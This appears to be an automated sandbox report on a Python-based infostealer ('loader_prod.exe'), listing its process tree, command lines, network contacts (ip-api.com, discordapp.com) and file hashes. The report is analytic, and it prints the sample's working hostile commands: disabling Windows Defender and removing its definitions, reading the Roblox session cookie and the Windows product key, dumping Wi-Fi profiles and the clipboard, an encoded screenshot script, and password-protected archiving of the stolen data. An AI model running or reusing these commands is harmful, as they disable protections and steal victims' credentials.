PID 3120 wrote to memory of 1652 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 1652 wrote to memory of 964 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1652 wrote to memory of 964 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2272 wrote to memory of 4336 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\_MEI34962\rar.exe
PID 2272 wrote to memory of 4336 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\_MEI34962\rar.exe
PID 3120 wrote to memory of 1916 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 1916 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\loader_prod.exe

"C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"

\??\c:\users\admin\appdata\local\temp\loader_prod.exe 

c:\users\admin\appdata\local\temp\loader_prod.exe 

\??\c:\users\admin\appdata\local\temp\loader_prod.exe 

c:\users\admin\appdata\local\temp\loader_prod.exe 

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zfq32gyr\zfq32gyr.cmdline"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES668A.tmp" "c:\Users\Admin\AppData\Local\Temp\zfq32gyr\CSCF12052DE8D48449DA075163C433D4A7.TMP"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI34962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\jTugs.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI34962\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI34962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\jTugs.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Windows\system32\BackgroundTaskHost.exe

"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider

C:\Windows\Resources\Themes\icsys.icn.exe

C:\Windows\Resources\Themes\icsys.icn.exe

\??\c:\windows\resources\themes\explorer.exe

c:\windows\resources\themes\explorer.exe

\??\c:\windows\resources\spoolsv.exe

c:\windows\resources\spoolsv.exe SE

\??\c:\windows\resources\svchost.exe

c:\windows\resources\svchost.exe

\??\c:\windows\resources\spoolsv.exe

c:\windows\resources\spoolsv.exe PR

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /7

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discordapp.com udp
US 162.159.130.233:443 discordapp.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 233.130.159.162.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 91.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 233.143.123.92.in-addr.arpa udp

Files

memory/116-0-0x0000000000400000-0x000000000041F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\loader_prod.exe 

MD5 9a83e4bc825d41cb18f943c617d08a97
SHA1 b0e160fb807d9b87968e14b806d7bebdd3ab805a
SHA256 1c1d5c8e5581735c6b5e3817eeb36383ef2ed86dbb7e857c043c66ba2f1110cc
SHA512 6a878774af87f752beb68ca91daccefafbaa46b200351fdab0cd8a6385a4668c559b96b5819ebbda23cdb96b5f99c91f8c631c328ccee9a86776fd1754c158c6

C:\Users\Admin\AppData\Local\Temp\_MEI34962\python311.dll

MD5 0b66c50e563d74188a1e96d6617261e8
SHA1 cfd778b3794b4938e584078cbfac0747a8916d9e
SHA256 02c665f77db6b255fc62f978aedbe2092b7ef1926836290da68fd838dbf2a9f2
SHA512 37d710cb5c0ceb5957d11b61684cfbc65951c1d40ab560f3f3cb8feca42f9d43bd981a0ff44c3cb7562779264f18116723457e79e0e23852d7638b1a954a258f

C:\Users\Admin\AppData\Local\Temp\_MEI34962\VCRUNTIME140.dll

MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

memory/3120-35-0x00007FFAFCBE0000-0x00007FFAFD1C9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI34962\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

memory/3120-50-0x00007FFB0C190000-0x00007FFB0C19F000-memory.dmp

memory/3120-49-0x00007FFB0BCD0000-0x00007FFB0BCF3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI34962\_ssl.pyd

MD5 e52dbaeba8cd6cadf00fea19df63f0c1
SHA1 c03f112ee2035d0eaab184ae5f9db89aca04273a
SHA256 eaf60a9e979c95669d8f209f751725df385944f347142e0ecdcf2f794d005ead
SHA512 10eef8fd49e2997542e809c4436ad35dcc6b8a4b9b4313ad54481daef5f01296c9c5f6dedad93fb620f267aef46b0208deffbad1903593fd26fd717a030e89e8

C:\Users\Admin\AppData\Local\Temp\_MEI34962\_sqlite3.pyd

MD5 63618d0bc7b07aecc487a76eb3a94af8
SHA1 53d528ef2ecbe8817d10c7df53ae798d0981943a
SHA256 e74c9ca9007b6b43ff46783ecb393e6ec9ebbdf03f7c12a90c996d9331700a8b
SHA512 8280f0f6afc69a82bc34e16637003afb61fee5d8f2cab80be7d66525623ec33f1449b0cc8c96df363c661bd9dbc7918a787ecafaaa5d2b85e6cafdcf0432d394

C:\Users\Admin\AppData\Local\Temp\_MEI34962\_socket.pyd

MD5 c12bded48873b3098c7a36eb06b34870
SHA1 c32a57bc2fc8031417632500aa9b1c01c3866ade
SHA256 6c4860cb071bb6d0b899f7ca2a1da796b06ea391bac99a01f192e856725e88aa
SHA512 335510d6f2f13fb2476a5a17445ca6820c86f7a8a8650f4fd855dd098d022a16c80a8131e04212fd724957d8785ad51ccaff532f2532224ccfd6ce44f4e740f9

C:\Users\Admin\AppData\Local\Temp\_MEI34962\_queue.pyd

MD5 0da22ccb73cd146fcdf3c61ef279b921
SHA1 333547f05e351a1378dafa46f4b7c10cbebe3554
SHA256 e8ae2c5d37a68bd34054678ae092e2878f73a0f41e6787210f1e9b9bb97f37a0
SHA512 9eece79511163eb7c36a937f3f2f83703195fc752b63400552ca03d0d78078875ff41116ebaeb05c48e58e82b01254a328572096a17aaad818d32f3d2d07f436

C:\Users\Admin\AppData\Local\Temp\_MEI34962\_lzma.pyd

MD5 f8b61629e42adfe417cb39cdbdf832bb
SHA1 e7f59134b2bf387a5fd5faa6d36393cbcbd24f61
SHA256 7a3973fedd5d4f60887cf0665bcb7bd3c648ad40d3ae7a8e249d875395e5e320
SHA512 58d2882a05289b9d17949884bf50c8f4480a6e6d2b8bd48dfdbcb03d5009af64abf7e9967357aeebf95575d7ef434a40e8ad07a2c1fe275d1a87aa59dcc702d6

C:\Users\Admin\AppData\Local\Temp\_MEI34962\_hashlib.pyd

MD5 a81e0df35ded42e8909597f64865e2b3
SHA1 6b1d3a3cd48e94f752dd354791848707676ca84d
SHA256 5582f82f7656d4d92ed22f8e460bebd722e04c8f993c3a6adcc8437264981185
SHA512 2cda7348faffabc826fb7c4eddc120675730077540f042d6dc8f5e6921cf2b9cb88afcd114f53290aa20df832e3b7a767432ea292f6e5b5b5b7d0e05cf8905a6

C:\Users\Admin\AppData\Local\Temp\_MEI34962\_bz2.pyd

MD5 20a7ecfe1e59721e53aebeb441a05932
SHA1 a91c81b0394d32470e9beff43b4faa4aacd42573
SHA256 7ebbe24da78b652a1b6fe77b955507b1daff6af7ff7e5c3fa5ac71190bde3da8
SHA512 99e5d877d34ebaaaeb281c86af3fff9d54333bd0617f1366e3b4822d33e23586ef9b11f4f7dd7e1e4a314c7a881f33123735294fe8af3a136cd10f80a9b8d902

C:\Users\Admin\AppData\Local\Temp\_MEI34962\sqlite3.dll

MD5 c78fab9114164ac981902c44d3cd9b37
SHA1 cb34dff3cf82160731c7da5527c9f3e7e7f113b7
SHA256 4569acfa25dda192becda0d79f4254ce548a718b566792d73c43931306cc5242
SHA512 bf82ccc02248be669fe4e28d8342b726cf52c4ec2bfe2ec1f71661528e2d8df03781ae5ccf005a6022d59a90e36cea7d3c7a495bd11bf149319c891c00ac669b

memory/3120-70-0x00007FFAFC870000-0x00007FFAFC9E7000-memory.dmp

memory/3120-69-0x00007FFB0C200000-0x00007FFB0C223000-memory.dmp

memory/3120-68-0x00007FFB0C230000-0x00007FFB0C249000-memory.dmp

